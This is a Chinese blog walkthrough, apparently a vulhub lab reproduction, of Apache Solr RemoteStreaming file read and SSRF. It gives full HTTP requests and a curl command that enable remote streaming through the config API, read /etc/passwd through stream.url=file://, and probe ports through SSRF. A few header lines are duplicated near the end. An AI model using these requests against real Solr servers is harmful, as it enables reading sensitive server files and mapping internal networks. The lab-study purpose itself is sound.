Apache Solr RemoteStreaming文件读取和SSRF--vulhub

发布于:2025-02-11 ⋅ 阅读:(36) ⋅ 点赞:(0)

Apache Solr RemoteStreaming文件读取和SSRF

RemoteStreaming是Apache Solr的一个功能,允许Solr通过HTTP请求从远程URL读取数据,如果未正确配置或未启用适当的安全措施,攻击者可以利用RemoteStreaming功能来执行服务器端请求伪造(SSRF)攻击或读取服务器上的任意文件。

SSRF较难复现,因为没有其他内网的靶机了

开启RemoteStreaming 配置

发送POST请求

POST /solr/demo/config HTTP/1.1
Host: 192.168.200.142:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 80

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

在这里插入图片描述

文件读取

两种方法:

第一种,使用curl访问,回显结果有命令执行的结果

curl -i -s -k 'http://192.168.200.142:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

在这里插入图片描述

第二种,使用burp重放

数据包

GET /solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1
Host: 192.168.200.142:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2



在这里插入图片描述

探测端口

探测不同端口回显不同,没开放的端口回显连接被拒绝

http://192.168.200.142:9999

数据包

GET /solr/demo/debug/dump?param=ContentStreams&stream.url=http://192.168.200.142:9999 HTTP/1.1
Host: 192.168.200.142:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2



Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2


![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/477f6cf2c541465abf42bb36c3cf3281.png)


网站公告

今日签到

点亮在社区的每一天
去签到